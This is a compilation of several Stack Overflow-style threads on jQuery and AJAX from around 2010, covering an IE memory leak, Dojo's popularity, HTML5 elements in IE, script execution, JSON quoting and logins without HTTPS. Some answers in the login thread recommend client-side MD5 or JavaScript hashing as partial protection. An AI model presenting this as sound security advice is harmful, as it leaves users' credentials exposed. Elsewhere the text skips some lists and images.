<script type="text/javascript" src="http://yui.yahooapis.com/2.8.0r4/build/event/event-min.js"></script>
<script type="text/javascript" src="http://yui.yahooapis.com/2.8.0r4/build/connection/connection_core-min.js"></script>
<script type="text/javascript">
var counter = 0;
leakTest();
function leakTest() {
YAHOO.util.Connect.asyncRequest('GET',
'/html/delme.x',
{success:incrementCounter});
}
function incrementCounter(o) {
if (counter<1000) {
counter++;
document.getElementById('counter').innerHTML = counter;
setTimeout(leakTest,100);
}
else document.getElementById('counter').innerHTML = 'finished.'
}
</script>
</head>
<body>
<div>Memory usage is stable, right?</div>
<div id="counter"></div>
</body>
</html>
My initial thought would be that it has something to do with the way the jquery ajax method either:
a. creates circular references, especially bad for IE
b. creates properties on internal objects which cannot be deleted due to the way they have been created and the setting of the DontDelete property. See this for more info: http://perfectionkills.com/understanding-delete/
Either way, the garbage collector would be prevented from picking up the trash, which would result in a runaway memory leak, especially if that suspect function is executing frequently.
I found a related Ajax question on Stack Overflow that may help you.
Maybe it is related to this : http://forum.jquery.com/topic/performance-issues-using-ajax-async
Many of you have seen this graph of Google Trends of popular AJAX frameworks (Dojo, jQuery, YUI).
The graph seems to make it clear that interest in Dojo collapsed in the second quarter of 2008, falling by 80%; jQuery picked up the slack and ultimately grew to more than triple the size of Dojo.
Why? What happened in Q2 2008 that demolished interest in Dojo?
(Note that I'm not really interested in a comparison of Dojo vs. jQuery; even if you can explain why one is better than the other, it's hard to see why that suddenly became clear to the world in April 2008.)
Disclaimer: I am a Dojo committer, but this is my personal view as a JavaScript insider.
First of all: the graph is absolutely and completely incorrect. Look at the chart link closely, and read "events". This is the list of events "related" to Dojo:
"Declaring Dojo for Ajax" — ok, it may be relevant.
"IT Dojo: Stop programs from running when Windows Vista starts [video]" — irrelevant.
"IT Dojo: Add Copy To and Move To commands to Windows XP Explorer with this registry hack" — not even close.
"Dragon Dojo Martial Arts® Named 'Official Small Business of NASCAR®, Courtesy of Office Depot®'" — nope, missed again.
"Hacker Dojo in Mountain View sparks ideas and tinkering" — nowhere near.
Why? Dojo is a generic term used mostly outside of software development area, Yui (as YUI — the other JavaScript toolkit in the chart) is an extremely popular Japanese singing celebrity, and only jQuery is a unique term.
So what does the graph show? Unfortunately nothing relevant.
Hmm, déjàvu. Yes, I already said it once. So allow me to quote myself (adding minor annotations, and correcting the link):
Regarding Google Trends. Out of 5 libraries in question [jquery, mootols, prototype, yui, and dojo] only two (jquery and mootools) have a fighting chance to be remotely relevant in the survey mostly due to their unique names. The rest use either a generic name (prototype and dojo) or alias to something else (yui => Yui, extremely popular Japanese singer/songwriter/actress). So if you want to explain sudden spikes try to Google for news stories of that time to see if ups and downs can be explained without superficial means.
Here is a link to another "scientific" study that proves without any doubt that jQuery is more popular than Marilyn Monroe, Elvis Presley, and even overtook Mickey Mouse recently: Google Trends: jquery, mootools, marilyn monroe, elvis presley, mickey mouse.
Now back to your question. The chart is wrong — nothing relevant happened in 2008. Everything was done in the second half of 2007:
While technically the break was justified, psychologically it was a major blow to users (there are major Dojo 0.4 applications in production even now in 2010).
Some people started learning 0.9/1.0 API, some decided to migrate to something else — the cost of defecting was almost the same as the cost of learning new Dojo. The market at that time had all old players and a relative newcomer: jQuery. Majority of former Dojo users chose Dojo for a reason after sampling others. So most defectors went from Dojo to jQuery rather than to other toolkits, which was not available when they settled on Dojo in the beginning.
But it is not the only reason. Somehow people like to compare Dojo to jQuery. Let's compare their communities and social aspects.
jQuery was/is much better at marketing — just compare how many blog posts were produced by one John Resig vs. blog posts of all Dojo developers taken together, compare how many times John gave a talk at conferences vs. all Dojo talks taken together. The truth is Dojo is made by geeks who may be good at tech, but not good at marketing.
Social features are important too because they help grow the community. Let's take a look at contributing some random code to both toolkits. Dojo has a place for odd projects: DojoX. jQuery has a somewhat equivalent jQuery Plugins. Anybody can contribute to both, but for DojoX the barrier of entry is much higher because a submission will be reviewed, and can be rejected if it doesn't meet strict criteria. In general it takes a lot of time, while in jQuery land anybody can submit any code as a plugin at any time and with any license. It makes it easier to "belong" to the jQuery community.
In my personal opinion the DojoX process produces better technical results: almost any random DojoX project is of better quality than many jQuery plugins. Obviously there are very well supported high quality jQuery plugins, but it is not the point. The point is that the jQuery Plugins process is better at building a community than the DojoX process.
Targeted markets are different too. jQuery targets relatively simple things: add some JavaScript magic to regular web sites, do some "progressive enhancement", "use this snippet" kind of things, and so on. Dojo with its modular system, the build/packaging tools, and OO/AOP provisions appeals to the web app crowd. Guess what market has more people. One of implications is simple: Dojo is used extensively in IT, which doesn't bring any public recognition ⇒ even the "secondary buzz" from developers of such systems is smaller than it should be for Dojo.
Another bitter truth is that the Dojo Community dropped the ball back in 2007: documentation was in disarray, blog posts were rare and mostly about obscure technical stuff for advanced programmers, rather than tutorials "see how easy it is to do simple things". The forum was practically shut down by spammers. The 0.4/0.9 break hurt Dojo's search engine visibility — people looking for new stuff found mostly 0.4 stuff, which was of no use for them.
So there you have it: Q2 2008 is the wrong place in time to study. Look at H2 2007. And see why jQuery has more mass appeal than Dojo or any other "competitor".
But let's go to "now".
In my unscientific experience Dojo has a sharp inflow of new users — I see much more people using Dojo, and I know of much more projects started with Dojo. It started somewhere in the middle of 2009. The reasons for that as I see it:
Many problems mentioned above are fixed or being fixed.
The #dojo channel on freenode is extremely vibrant, and other web-based resources are more relevant than ever.
Being a mostly American phenomenon Dojo finally started to go international.
Special care is taken now to ensure that users of older Dojo versions are not left in the cold. For example, reacting to the last security advisory, all published versions of Dojo were updated: from 0.4 to the current 1.4. I am sure that the 0.4/0.9 split is not going to be repeated again, when Dojo goes to 2.0 in the future: evolution rather than revolution is more socially acceptable.
I believe that Dojo technocrats finally understood social implications of their technical decisions, changes were made, the community is alive and well.
Is Dojo going to "beat" jQuery at numbers any time soon? While technically Dojo looks like a clean superset of jQuery and then some, and both can be used in the same "progressive enhancements" market, Dojo is unlikely to upset jQuery. See above about targeting different markets, and remember that fighting other toolkits is not even a goal for geeks, who work on Dojo, — they are focused on making Dojo even more useful in a broad spectrum of scenarios, and on building their own community. Ultimately it is up to users to make a decision on what they want based on their needs.
Update: I hope nobody will make a conclusion that "Dojo dropped the ball and jQuery just happened to be here". Nothing like that. jQuery had a lot going for it especially on the conceptual level. We love jQuery and wish it the best. It is the benchmark to compare our efforts in building other toolkits.
The Mikey Mouse chart linked above has a different range. Here it is without the YTD parameter, which paints a different view: jQuery still has not reached Elvis' pinnacle back in 2007. Additionally, comparing with a real generic term shows generic terms do not "lose". Cat dominates. (http://www.google.com/trends?q=jquery%2C+cat%2C+dojo%2C+elvis+presley%2C+mickey+mouse)
That being said, I do love Dojo and jQuery. Thanks and gratitude are due to both project teams for making the rest of our lives so much easier. Eugene, thank you for taking this opportunity to provide useful insight into the Dojo project. Gavin, I agree with your perspective on the target audiences for each of the tools. There need not be just one.
I'm also an occasional dojo committer, and even with a clarifying "javascript" in the trends search, you get jquery leading:
http://www.google.com/trends?q=jquery,dojo+javascript,yui+javascript&ctab=0&geo=all&date=all&sort=0
That said, I believe they serve different audiences. Dojo (and now Google's Closure) are "full-strength" toolkits with tremendous depth and tooling, designed to be used by engineers for gmail-scale applications.
JQuery is designed to be used by designers to spice up a page.
You can use dojo's selectors api to do JQuery-style coding, just as you can use JQuery facilities to do more "application-like" development.
My guess is that there are far more designers and web pages than there are engineers and web applications.
Gamers got tired of playing "Super Smash Bros Dojo:"
http://www.google.com/trends/correlate/search?e=dojo&t=weekly

I created a web page that makes an Ajax call every second. In Internet Explorer 7, it leaks memory badly (20 MB in about 15 minutes).
The program is very simple. It just runs a JavaScript function that makes an Ajax call. The server returns an empty string, and the JavaScript code does nothing with it. I use setTimeout to run the function every second, and I'm using Drip to watch the thing.
Here is the source:
<html>
<head>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load('jquery', '1.4.2');
google.load('jqueryui', '1.7.2');
</script>
<script type="text/javascript">
setTimeout('testJunk()',1000);
function testJunk() {
$.ajax({ url: 'http://xxxxxxxxxxxxxx/test', // The url returns an empty string
dataType: 'html',
success: function(data){}
});
setTimeout('testJunk()',1000)
}
</script>
</head>
<body>
Why is memory usage going up?
</body>
</html>
How to plug this leak? I have a real application that updates a large table this way, but left unattended it will eat up gigabytes of memory.
Edit: okay, so after some good suggestions, I modified the code to:
<html>
<head>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load('jquery', '1.4.2');
google.load('jqueryui', '1.7.2');
</script>
<script type="text/javascript">
setTimeout(testJunk,1000);
function testJunk() {
$.ajax({ url: 'http://xxxxxxxxxxxxxx/test', // The url returns an empty string
dataType: 'html',
success: function(data){setTimeout(testJunk,1000)}
});
}
</script>
</head>
<body>
Why is memory usage going up?
</body>
</html>
It didn't seem to make any difference, though. I'm not doing anything with the DOM, and if I comment out the Ajax call, the memory leak stops. So it looks like the leak is entirely in the Ajax call. Does jQuery Ajax inherently create some sort of circular reference, and if so, how can I free it? By the way, it doesn't leak in Firefox.
Someone suggested running the test in another VM and see if the results are the same. Rather than setting up another VM, I found a laptop that was running XP Home with Internet Explorer 8. It exhibits the same problem.
I tried some older versions of jQuery and got better results, but the problem didn't go away entirely until I abandoned Ajax in jQuery and went with more traditional (and ugly) Ajax.
Here's a link to the bug over on jQuery, along with this as a suggested fix for jQuery 1.4.2:
--- jquery-1.4.2.js 2010-04-08 12:10:20.000000000 -0700
+++ jquery-1.4.2.js.fixed 2010-04-08 12:10:38.000000000 -0700
@@ -5219,7 +5219,7 @@
// Stop memory leaks
if ( s.async ) {
- xhr = null;
+ xhr.onreadystatechange = null; xhr.abort = null; xhr = null;
}
}
};
NOTE: This is officially fixed in jQuery 1.4.4, so your best bet is to just upgrade now.
The problem appears to be with jQuery 1.4 in Internet Explorer, and to a lesser extent, versions 1.2 and 1.3.
1.4.0, 1.4.1, and 1.4.2 all exhibited the severe memory leak.
1.2.3, 1.2.6, 1.3.0, 1.3.1, and 1.3.2 all exhibited a much smaller leak (about 100 KB after 10 minutes).
I also tried a version of my program that calls Ajax in a more traditional way:
<html>
<head>
<script language="javascript" type="text/javascript">
function getHTTPObject() {
var xmlhttp;
/*@cc_on
@if (@_jscript_version >= 5)
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
@else
xmlhttp = false;
@end @*/
if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
try {
xmlhttp = new XMLHttpRequest();
if (xmlhttp.overrideMimeType) {
xmlhttp.overrideMimeType("text/xml");
}
} catch (e) {
xmlhttp = false;
}
}
return xmlhttp;
}
var ajaxObject = getHTTPObject();
setTimeout(testJunk,1000);
function testJunk() {
ajaxObject.open('POST', 'http://XXXXXXXXXXXXXXX/delme2', true);
ajaxObject.onreadystatechange = handleAjaxResponse;
ajaxObject.send(null);
}
function handleAjaxResponse() {
if (ajaxObject.readyState==4) {
setTimeout(testJunk,1000);
}
}
</script>
</head>
<body>
<div id="test">Why is memory usage going up?</div>
</body>
</html>
This got rid of the leak entirely.
So it looks like I'll have to do my repeating Ajax calls the ugly old way until the jQuery folks iron out this problem.
eval() will eat up memory for sure (eval happens when passing a string to setTimeout to evaluate), don't use it in testing:
setTimeout('testJunk()',1000);
should be:
setTimeout(testJunk, 1000);
Also a better use overall would be setInterval() for a repeated operation like you want, try this:
setInterval(testJunk, 1000);
I encountered the same issue and had been stumped all morning ... until a few moments ago. The problem is a circular reference that is created when you set the onreadystatechange handler, that IE isn't smart enough to break. The solution, therefore, is to break it explicitly. However, obviously you can't do it from within the handler itself (though it would be convenient if you could!).
The magic statement:
delete request['onreadystatechange'];
You need to keep a record of each XMLHttpRequest object for which you set onreadystatechange. Then, at some point after readyState goes to 4, do your magic on the object. If you are already performing a repeated AJAX poll, the logical place to check for requests to clean up would be in the same polling loop. I defined a simple RequestTracker object to manage my requests.
This worked for me; I verified that it solved the leak. Here's one link in particular that led the way (I would post more, but StackOverflow isn't letting me):
One problem with your code is that if your ajax request start to take a while you will start flooding the browser and server with ajax request you really should wait till the browser gets a return from the server before kicking off the next one.
function testJunk() {
$.ajax({ url: 'http://xxxxxxxxxxxxxx/test', // The url returns an empty string
dataType: 'html',
complete: function(data){
setTimeout(testJunk,1000);
}
});
}
testJunk();
I don't have IE here (running Linux) but what happen if you change dataType: 'html' to dataType: 'text'? It might be something in the parsing?
I've seen this, and I don't believe it's a memory leak per-se. It's just that the Ajax request returns with no data because of caching.
Add deliberate cache control, as in:
$.ajax({ url: 'http://xxxxxxxxxxxxxx/test', // The url returns an empty string
dataType: 'html',
cache: false,
success: function(data){}
});
setTimeout('testJunk()',1000)
It's one of those things where stuff falls down the cracks, that is, does a specific thing with caching and XMLHttpRequest and jQuery doesn't use cache off by default.
Just encountered this myself. I thought it was something to do with the UI library initially, but then it disappeared after I swapped in jQuery 1.5. for the version 1.4.2 that I was using. (1.4.4 didn't seem to fix the issue).
Ryley's right, that fix on the bug ticket link works like a charm.
When I applied the change and reran the code, the memory leak is gone.
Before fix:
3000 JSON calls (Internet Explorer 7, Windows XP) goes from 18 MB to 105 MB in 15 minutes.
After fix:
3000 calls 23.4 MB to 23.2 MB in 15 minutes.
@Ryley: it fixed our issue too. Ajax in jQuery is much simpler to write. Making that line change in jquery.1.4.2.js to the new XMLHttpRequest (XHR). It worked like a charm. I report no more memory leaks as the same as @Josh.
See the solution at the bottom of the question.
IE does not work good with unknown elements (ie. HTML5 elements), one cannot style them , or access most of their props. Their are numerous work arounds for this for example: http://remysharp.com/2009/01/07/html5-enabling-script/
The problem is that this works great for static HTML that was available on page load, but when one creates HTML5 elements afterward (for example AJAX call containing them, or simply creating with JS), it will mark these newly added elements them as HTMLUnknownElement as supposed to HTMLGenericElement (in IE debugger).
Does anybody know a work around for that, so that newly added elements will be recognized/enabled by IE?
Here is a test page:
<html><head><title>TIME TEST</title>
<!--[if IE]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
</head>
<body>
<time>some time</time>
<hr>
<script type="text/javascript">
$("time").text("WORKS GREAT");
$("body").append("<time>NEW ELEMENT</time>"); //simulates AJAX callback insertion
$("time").text("UPDATE");
</script>
</body>
</html>
In IE you will see the: UPDATE , and NEW ELEMENT. In any other modern browser you will see UPDATE, and UPDATE
Using the answer provided I came up with the following piece of javascript to HTML5 enable a whole bunch of elements returned by my ajax call:
(function ($) {
jQuery.fn.html5Enable = function () {
if ($.browser.msie) {
$("abbr, article, aside, audio, canvas, details, figcaption, figure, footer, header, hgroup, mark, menu, meter, nav, output, progress, section, summary, time, video", this).replaceWith(function () {
if (this.tagName == undefined)
return "";
var el = $(document.createElement(this.tagName));
for (var i = 0; i < this.attributes.length; i++)
el.attr(this.attributes[i].nodeName, this.attributes[i].nodeValue);
el.html(this.innerHtml);
return el;
});
}
return this;
};
})(jQuery);
Now this can be called whenever you want to append something:
var el = $(AJAX_RESULT_OR_HTML_STRING);
el.html5Enable();
$("SOMECONTAINER").append(el);
See http://code.google.com/p/html5shiv/issues/detail?id=4 for an explanation about what this plugin doesn't do.
Use innershiv , it's great.
innershiv is now build into jQuery 1.7
for all html5 issues in IE7 i use html5shiv and to accommodate the html5 elements coming back in ajax calls i use innershiv.
these two small plugins worked for me like a charm so far.
-- Praveen Gunasekara
jQuery has some dark, magical ways of creating elements. Using document.createElement instead should make all the difference:
var time = document.createElement("time");
time.innerHTML = "WORKS GREAT";
document.appendChild(time);
I do not believe you can use the .append() syntax (like .innerHTML += "") with HTML5 and IE. The problem isn't IE's ability to use or display the HTML5 elements, it's its ability to parse them. Any time you programmatically instantiate an HTML5 element, you must do it with document.createElement.
Read my blog about how to use innerShiv and jQuery for ajaxing in HTML 5 content. http://tomcoote.co.uk/javascript/ajax-html5-in-ie/
I too ran into trouble when fetching a bunch of HTML containing HTML5 elements from the server using AJAX. html5shiv wasn't able to save my day. My project template is based on the html5boilerplate and uses Modernizr to fix HTML5 tag behavior in IE < 9. After reading this thread I got a hunch and managed to get my code working.
The problematic code injecting the freshly squeezed HTML into the DOM was:
var wrapper = $('<div />')
.addClass('wrapper')
.html(data.html)
.appendTo(wrapper);
Basically what happens here is:
Changing it to the following fixes my problem:
var wrapper = $('<div />')
.addClass('wrapper')
.appendTo(el);
wrapper.html(data.html);
What happens now is:
Now even IE7 has no choice but to display asynchronously loaded HTML5 elements like I want it to :)
Thanks Julio, will keep your plugin handy in case I need it in the future. But for now I am happy not to add the overhead of the extra DOM manipulations.
Maybe this workaround works for some other people too.
Just leaving this to contribute to the discussion.
The script provided that @Gidon seems not working in IE8 (tested on two different machines). I had to remake the jQuery plugin in another way, see below:
/**
* Enable HTML5 Elements on the fly. IE needs to create html5 elements every time.
* @author Gidon
* @author Julio Vedovatto <juliovedovatto@gmail.com>
* @see http://stackoverflow.com/questions/2363040/how-to-enable-html5-elements-in-ie-that-were-inserted-by-ajax-call
*/
(function ($) {
jQuery.fn.html5Enabler = function () {
var element = this;
if (!$.browser.msie)
return element;
$.each(
['abbr','article','aside','audio','canvas','details','figcaption','figure','footer','header','hgroup','mark','menu','meter','nav','output','progress','section','summary','time','video'],
function() {
if ($(element).find(this).size() > 0) {
$(element).find(this).each(function(k,child){
var el = $(document.createElement(child.tagName));
for (var i = 0; i < child.attributes.length; i++)
el.attr(child.attributes[i].nodeName, child.attributes[i].nodeValue);
el.html(child.innerHTML);
$(child).replaceWith(el);
});
}
}
);
};
})(jQuery);
note that innershiv functionality is built into jquery as of 1.7 http://blog.jquery.com/2011/11/03/jquery-1-7-released/
I was wondering if there are any available resources that describe how a browser's cursor executes Javascript.
I know it loads and executes tags when a page loads, and that you can attach functions to various window events, but where things get fuzzy is when, for instance, I retrieve a remote page via AJAX and put its contents into a div.
If that remote page has loads script libraries like <script src="anotherscript.js" />, when is "anotherscript.js" loaded and its contents executed?
What happens if I included "anotherscript.js" on my current page, and then I load some remote content which has a duplicate include of this script? Does it overwrite the original one? What if the original "anotherscript.js" has a var in it whose value I altered, and then I reload that file... do I lose the original value or is the second inclusion of this script ignored?
If I load some procedural Javascript via AJAX, when is it executed? Immediately after I do mydiv.innerHTML(remoteContent)? Or is it executed before that?
The answer varies depending on where the script tag is and how you've added it:
Script tags inline with your markup are executed synchronously with the browser's processing of that markup (except, see #2), and so if -- for instance -- those tags reference external files, they tend to slow down the processing of the page. (This is so the browser can handle document.write statements, which change the markup they're processing.)
Script tags with the defer attribute may, on some browsers, not be executed until after the DOM has been fully rendered. Naturally these can't use document.write. (Similarly there's an async attribute that makes the script asynchronous, but I don't know much about it or how well it's supported; details.)
Script tags in content you assign to elements after DOM load (via innerHTML and similar) are not executed at all, barring your use of a library like jQuery or Prototype to do it for you. (With one exception pointed out by Andy E: On IE, if they have a defer attribute, it will execute them. Doesn't work in other browsers.)
If you append an actual script element to the document via Element#appendChild, the browser executes that script immediately (and you can happily remove the element if you like, the script has already been executed and processed). (You would normally append those to the head element, but in practice it doesn't really matter.).
Edit Please note however that non inline scripts added this way are not executed synchronously (at least on FF4). First appending a <script type="text/javascript" src="MyFct.js"></script>, and then appending <script type="text/javascript">myFunction();</script> will execute first the inline (second) one before the external (first) one. In this case if MyFct.js declares myFunction(), it will not be defined.
<a href='#' onclick='myNiftyJavaScript();'>) rather than in a script tag is executed when the relevant event occurs.Edit I was working away at my Real Job and suddenly my hindbrain said "You know, you've been told they won't be executed if you assign them to innerHTML, but have you personally checked?" And I hadn't, so I did -- FWIW:
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<title>Script Test Page</title>
<style type='text/css'>
body {
font-family: sans-serif;
}
</style>
<script type='text/javascript'>
function addScript()
{
var str, div;
div = document.getElementById('target');
str = "Content added<" + "script type='text/javascript'>alert('hi there')<" + "/" + "script>";
alert("About to add:" + str);
div.innerHTML = str;
alert("Done adding script");
}
</script>
</head>
<body><div>
<input type='button' value='Go' onclick='addScript();'>
<div id='target'></div>
</div></body>
</html>
The alert from the script doesn't appear on IE7, FF3.6, or Chrome4 (I haven't bothered to check others, I'm meant to be working :-) ). Whereas if you append elements as shown here, the script gets executed.
If you just stuff a block of HTML containing script tags into your DOM with "innerHTML", the script tags won't be executed at all. When you load stuff with something like jQuery, code in that library explicitly handles finding and executing the scripts.
It's not precisely accurate, but you can basically think of the processing of a <script> tag as if the whole contents of the tag (i.e., the script body) were executed with eval(). If the script declares global (window) variables, then old values are overwritten.
Script tags are processed in the order that they appear. Of course the code inside the script blocks may be set up so that what it does upon initial execution is to defer the real processing until later. Lots of jQuery setup/initialization code will do that.
Modern browsers can load multiple scripts concurrently, and not all browsers will execute them in the order they were called in the source code- often the first script downloaded, or a script that has been cached, will be interpreted 'out of order'.
A script that defines methods or objects will overwrite any with the same identifiers that were previously defined.
Write scripts so that they can not overwrite anything until you call a method defined in the script (and don't call the method if it is not yet defined.)
One reason not to remove a script tag after its script has been evaluated is that it gives you an easy way to tell if the script has already been loaded- though if you are careful with your method names, checking for a method that is only defined in one script will tell you if the script is loaded.
For a webapplication, when HTTPS is not available as a security measure, is it possible to still make the login somewhat secure? E.g.:
In particular I'm using CakePHP and an AJAX POST call to trigger authentication (includes provided username and password).
Update on the problem:
The short answer is that HTTPS does a lot more than just encrypting passwords. Another important role is that it should prevent you from giving your password to a malicious server in a MITM attack. Using JavaScript to obscure your password is still violation of the OWASP A3 Broken Authentication and Session Management.
1) Tokenize logins: This doesn't matter, if an attacker is sniffing the traffic they'll have the plain text username/password and then they can just login normally.
2) Somehow encrypt the sent password: After the person has logged in an attacker can sniff the traffic to get the valid session id (cookie) and then just use this instead of logging in. If the entire session was protected with SSL then this is not a problem.
There are other more compelx attacks that affect both this system and our current SSL infrastructure. The SSLStrip attack goes into greater detail. I highly recommend watching Moxie Marlinspike's Blackhat 2009 talk.
As you suggested, you may be able to generate a unique token each time the page is created. That same token would need to be sent back with the form data and could not be reused. You could also keep the password safe by using JavaScript to hash it, if you can rely on it being enabled by your users.
This scheme is still not secure, however. An attacker could still see everything going across the wire. They could intercept the token and send a response back to you before the user does. Or they could just wait for someone to login, steal that person's credentials (as they are sent over the wire), and just make their own login request later on.
Bottom Line - you need to use HTTPS to guarantee the site is secure.
Since you cannot do SSL at the web server, and you are not a security expert, look for an existing secure authentication service that you can utilize, and let them handle both the SSL and the complexities of handling credentials for you.
In particular, I would suggest that you use a free third-party authentication service, such as OpenID. They have libraries for PHP including one for CakePHP.
You can use HTTP Digest authentication, which is supported by most browsers and does not send the password in clear over the wire.
The downside is the ugly log in box displayed by broswer. If you preffer to stick with forms, then you can implement exactly the same protocol as HTTP Digest in your forms authnetication: send hidden fields containing the realm and the challenge, and have the client add in JavaScript the nonce and compute the digest. This way you'll use a well known and proven exhange protocol, rather than roll your own.
HTTP Digest requires only hash operations.
You can encrypt the password using Javascript and decrypt it on the server.
I would recommend generating an RSA keypair on the server, send the public key along with a timed salt to the browser, then encrypting the password, combined with the salt, using the public key in Javascript.
You can find an RSA implementation in Javascript here
You should include both the IP address and the entire X-FORWARDED-FOR hedaer in the authentication cookies to prevent cookie theft behind proxies.
If you're dealing with sensitive data, you could generate a random AES key in Javascript, then send it to the server along with the password encrypted with RSA.
You could then make the entire application use encrypted AJAX requests from a single page and not use an auth cookie at all.
Note that it is not possible to protect against an active man-in-the-middle attack without SSL. An active attacker can completely replace your site with his own proxy, and there isn't any way to defend against that. (Since there cannot be any known good code)
What about HTTP Digest Authentication? It provides security by MD5-hashing username, password and a nonce (among other things) before sending it to the server. MD5 isn't really secure, but it's a good way for simple security with HTTP.
Of course this doesn't prevent hackers from changing the message... but it secures your password.
The best solution I have seen for somewhat secure HTTP connections is to use a Javascript implementation of md5sum (or some other hash) to avoid transmitting the password in plaintext. You can create a form onsubmit handler in Javascript that replaces the password field with a hash of the original value. This adds a modest amount of security to an unsecure connection, but relies on Javascript running in the browser to work properly.
This is not practically a easy thing to do.
But you could play with other crypto system that is designed for unencrypted connection, maybe sign all your data with pgp or something like that.
But you still may have a problem with "man in the middle" attacks, if you only encrypt the login data. (someone could just resend that data and also get access).
So I can't see this becoming simpler (or safer) that https.
You don't need SSL.
You don't need asymmetric encryption.
You don't need symeetric encryption.
For a discussion of a secure login system.
Note that without SSL you still run the risk of session hijacking.
C.
This is a design question. I have data that needs to go into an HTML table, which will later be manipulated by the user. Basically the user will be able to select items in the table rows.
I have two options - in both cases I'm using AJAX to get the data:
Create the HTML code using PHP on the server side, send it to the client as HTML. The user then manipulates the table using Javascript (jQuery, essentially).
Send the raw data to the client using JSON, then use jQuery to both create the HTML and later manipulate it by the user.
From a design/ease of coding/beauty point of view, which approach is recommended? Thanks for any insight.
Why to generate the HTML in PHP:
Why to generate the HTML in jQuery:
So, I'm in favour of the first option, generating the HTML in PHP.
Visual comparison of the two methods, creating a simple table.
// PHP
$html = '<table>';
foreach($data as $row) {
$html .= '<tr>';
$html .= '<td><a href="#" class="button">Click!</a></td>';
$html .= '<td>'.$row['id'].'</td>';
$html .= '<td>'.$row['name'].'</td>';
$html .= '</tr>';
}
$html .= '</table>';
echo $html;
?>
// jQuery
$('#container').load('handler.php', function() {
$('#container a.button').click(function() {
// Do something
});
});
// PHP
echo json_encode($data);
// jQuery
$.ajax({
url: 'handler.php',
dataType: 'json',
success: function(data) {
var table = $('<table />');
var len = data.length;
for(var i = 0; i < len; i++) {
var row = $('<tr />');
var a = $('<a />').attr('href', '#').addClass('button');
row.append($('<td />').append(a));
row.append($('<td />').html(data[i].id);
row.append($('<td />').html(data[i].name);
table.append(row);
}
table.find('.button').click(function() {
// Do something
});
$('#container').html(table);
}
});
From a design / ease of coding / beauty point of view, I'd definitely say go with the PHP approach.
If the HTML generated is identical to page HTML you may be able to leverage your existing templating code to generate the same HTML with less code duplication.
Otherwise, JSON is typically more common as it tends to be more compact and it allows you to create nodes and assign non-HTML properties like event handlers to them as you go.
If you create your new nodes by creating an HTML string, however, you have to use HTML-encoding to ensure any <, & or quotes are escaped correctly. There's no built-in function to do this in JavaScript like htmlspecialchars in PHP; it's pretty trivial to write one, but no-one seems to bother. The result is jQuery apps that are full of client-side cross-site-scripting security holes, just as we were starting to make some progress of fixing the server-side XSS stuff.
I really like the idea of putting things like this together on the client side. I found JavaScriptMVC to be a good Framework (the 2.0 Version is based on jQuery) for that because it has client side view templates (though not everybody likes that approach).
With jQuery alone I find it quite complex to create client side views though (because that is not what it is meant for), so you might be better of with putting everything together on the server side in PHP if you can keep your application equally dynamic that way.
Equally compelling arguments could probably be made for both, but you'll likely be sending less data down the pipe if you go with 2.
Both options have plus and negative points, however andras makes a good point in stating whether the content needs to be indexed/searchable. I personally would opt for option 1 thhough as I believe the architecture would be easier to produce.
A similar discussion took place in Why is it a bad practice to return generated HTML instead of JSON? Or is it? with some good points not mentioned in this thread.
I'm making requests to my server using jQuery.post() and my server is returning JSON objects (like { "var": "value", ... }. However, if any of the values contains a single quote (properly escaped like \'), jQuery fails to parse an otherwise valid JSON string. Here's an example of what I mean (done in Chrome's Console):

Is this normal? Is there no way to properly pass a single quote via JSON?
According to the state machine diagram on the JSON website, only escaped double-quote characters are allowed, not single-quotes. Single quote characters do not need to be escaped:

Update - More information for those that are interested:
Douglas Crockford does not specifically say why the JSON specification does not allow escaped single quotes within strings. However, during his discussion of JSON in Appendix E of JavaScript: The Good Parts, he writes:
JSON's design goals were to be minimal, portable, textual, and a subset of JavaScript. The less we need to agree on in order to interoperate, the more easily we can interoperate.
So perhaps he decided to only allow strings to be defined using double-quotes since this is one less rule that all JSON implementations must agree on. As a result, it is impossible for a single quote character within a string to accidentally terminate the string, because by definition a string can only be terminated by a double-quote character. Hence there is no need to allow escaping of a single quote character in the formal specification.
The texts produced by the toString methods strictly conform to the JSON syntax rules. The constructors are more forgiving in the texts they will accept:
...
- Strings may be quoted with ' (single quote).
This is confirmed by the JSONTokener source code. The nextString method accepts escaped single quote characters and treats them just like double-quote characters (there is other stuff going on with slashes, please ignore that for the purposes of this answer):
public String nextString(char quote) throws JSONException {
char c;
StringBuffer sb = new StringBuffer();
for (;;) {
c = next();
switch (c) {
...
case '\\':
case '"':
case '\'':
case '\\':
case '/':
sb.append(c);
break;
...
At the top of the method is an informative comment:
The formal JSON format does not allow strings in single quotes, but an implementation is allowed to accept them.
So some implementations will accept single quotes - but you should not rely on this. Many popular implementations are quite restrictive in this regard and will reject JSON that contains single quoted strings and/or escaped single quotes.
Finally to tie this back to the original question, jQuery.parseJSON first attempts to use the browser's native JSON parser or a loaded library such as json2.js where applicable (which on a side note is the library the jQuery logic is based on if JSON is not defined). Thus jQuery can only be as permissive as that underlying implementation:
parseJSON: function( data ) {
...
// Attempt to parse using the native JSON parser first
if ( window.JSON && window.JSON.parse ) {
return window.JSON.parse( data );
}
...
jQuery.error( "Invalid JSON: " + data );
},
As far as I know these implementations only adhere to the official JSON specification and do not accept single quotes, hence neither does jQuery.
Interesting. How are you generating your JSON on the server end? Are you using a library function (such as json_encode in PHP), or are you building the JSON string by hand?
The only thing that grabs my attention is the escape apostrophe (\'). Seeing as you're using double quotes, as you indeed should, there is no need to escape single quotes. I can't check if that is indeed the cause for your jQuery error, as I haven't updated to version 1.4.1 myself yet.
If you need a single quote inside of a string, since \' is undefined by the spec, use \u0027 see http://www.utf8-chartable.de/ for all of them
My requirements are the following:
I've got a javascript function that is called when the AJAX is loaded. I'm trying to "trick it" into executing by doing:
function AjaxLoaded() { $('document').trigger('ready'); }
That doesn't cut it, I'm afraid.
